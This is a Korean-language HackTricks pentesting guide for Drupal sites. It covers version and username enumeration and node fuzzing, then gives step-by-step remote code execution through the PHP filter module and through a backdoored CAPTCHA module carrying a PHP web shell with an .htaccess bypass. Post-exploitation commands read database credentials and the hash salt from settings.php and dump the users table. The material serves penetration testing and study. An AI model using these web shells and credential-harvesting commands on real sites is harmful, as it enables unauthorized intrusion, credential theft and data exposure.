hacktricks/network-services-pentesting/pentesting-web/drupal.md

9.3 KiB

Drupal

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team 전문가)!

HackTricks를 지원하는 다른 방법:

{% embed url="https://websec.nl/" %}

Discovery

  • 메타 확인
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal은 콘텐츠를 노드로 색인화합니다. 노드는 블로그 글, 투표, 기사 등과 같은 모든 것을 보유할 수 있습니다. 페이지 URI는 일반적으로 /node/<nodeid> 형식입니다.
curl drupal-site.com/node/1

열거

Drupal은 기본적으로 세 가지 유형의 사용자를 지원합니다:

  1. 관리자: 이 사용자는 Drupal 웹사이트를 완전히 제어할 수 있습니다.
  2. 인증된 사용자: 이러한 사용자는 웹사이트에 로그인하고 권한에 따라 기사를 추가하고 편집하는 작업을 수행할 수 있습니다.
  3. 익명: 모든 웹사이트 방문자는 익명으로 지정됩니다. 기본적으로 이러한 사용자는 게시물을 읽는 것만 허용됩니다.

버전

  • /CHANGELOG.txt를 확인하세요.
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} 새로운 Drupal 설치는 기본적으로 CHANGELOG.txtREADME.txt 파일에 대한 액세스를 차단합니다. {% endhint %}

사용자 이름 열거

등록

_ /user/register_에서 사용자 이름을 만들려고 시도하면 이름이 이미 사용 중인 경우 알림이 표시됩니다:

새 비밀번호 요청

기존 사용자 이름에 대해 새 비밀번호를 요청하는 경우:

존재하지 않는 사용자 이름에 대해 새 비밀번호를 요청하는 경우:

사용자 수 가져오기

_ /user/<number>_에 액세스하여 기존 사용자 수를 볼 수 있습니다. 이 경우 _/users/3_은 찾을 수 없는 오류를 반환합니다:

숨겨진 페이지

/node/$로 퍼징하십시오. 여기서 $는 숫자 (예: 1에서 500까지).
검색 엔진에서 참조되지 않는 숨겨진 페이지 (테스트, 개발)를 찾을 수 있습니다.

설치된 모듈 정보

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

자동화

droopescan scan drupal -u http://drupal-site.local

RCE

PHP 필터 모듈을 사용한 RCE

{% hint style="warning" %} Drupal의 이전 버전(버전 8 이전)에서는 관리자로 로그인하여 PHP 필터 모듈을 활성화할 수 있었습니다. 이 모듈은 "내장 PHP 코드/스니펫을 평가할 수 있게 합니다." {% endhint %}

플러그인 php가 설치되어 있어야 합니다(접근하여 _/modules/php_를 확인하고 403이 반환되면 존재합니다. 찾을 수 없으면, 플러그인 php가 설치되어 있지 않습니다)

_Modules_로 이동 -> (확인) PHP Filter -> 구성 저장

그런 다음 _콘텐츠 추가_를 클릭 -> 기본 페이지 또는 기사 선택 -> 본문에 php 쉘코드 작성 -> _텍스트 형식_에서 PHP 코드 선택 -> 미리 보기 선택

마지막으로 방금 생성된 노드에 액세스하십시오:

curl http://drupal-site.local/node/3

PHP 필터 모듈 설치

버전 8부터는 PHP 필터 모듈이 기본으로 설치되지 않습니다. 이 기능을 활용하려면 모듈을 직접 설치해야 합니다.

  1. Drupal 웹사이트에서 모듈의 최신 버전을 다운로드합니다.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. 다운로드가 완료되면 관리 > 보고서 > **사용 가능한 업데이트**로 이동합니다.
  4. **찾아보기**를 클릭하여 다운로드한 디렉토리에서 파일을 선택한 후 **설치**를 클릭합니다.
  5. 모듈이 설치되면 **콘텐츠**를 클릭하고 Drupal 7 예제에서 한 것과 유사하게 새 기본 페이지를 만듭니다. 다시 한번 텍스트 형식 드롭다운에서 PHP 코드를 선택해야 합니다.

백도어 모듈

백도어 모듈은 기존 모듈에 쉘을 추가하여 생성할 수 있습니다. 모듈은 drupal.org 웹사이트에서 찾을 수 있습니다. CAPTCHA와 같은 모듈을 선택해 보겠습니다. 아래 링크에서 tar.gz 아카이브 링크를 복사합니다.

  • 아카이브를 다운로드하고 내용을 추출합니다.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • 다음 내용으로 PHP 웹 쉘을 생성하십시오:
<?php
system($_GET["cmd"]);
?>
  • 다음으로, 우리는 폴더에 접근할 수 있도록 .htaccess 파일을 생성해야 합니다. 이것은 Drupal이 /modules 폴더에 직접 액세스하는 것을 거부하기 때문에 필요합니다.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • 위의 구성은 /modules에서 파일을 요청할 때 / 폴더에 대한 규칙을 적용합니다. 이 두 파일을 captcha 폴더로 복사하고 아카이브를 만듭니다.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • 웹 사이트에 관리자 액세스가 있다고 가정하고, 사이드바에서 **관리**를 클릭한 다음 **확장**을 클릭합니다. 그 다음 + 새 모듈 설치 버튼을 클릭하면 http://drupal-site.local/admin/modules/install과 같은 설치 페이지로 이동합니다. 백도어가 설치된 Captcha 아카이브로 이동하여 **설치**를 클릭합니다.
  • 설치가 성공하면 **/modules/captcha/shell.php**로 이동하여 명령을 실행합니다.

사후 침투

settings.php 읽기

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

데이터베이스에서 사용자 덤프하기

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

참고 자료

{% embed url="https://websec.nl/" %}

제로부터 히어로까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법: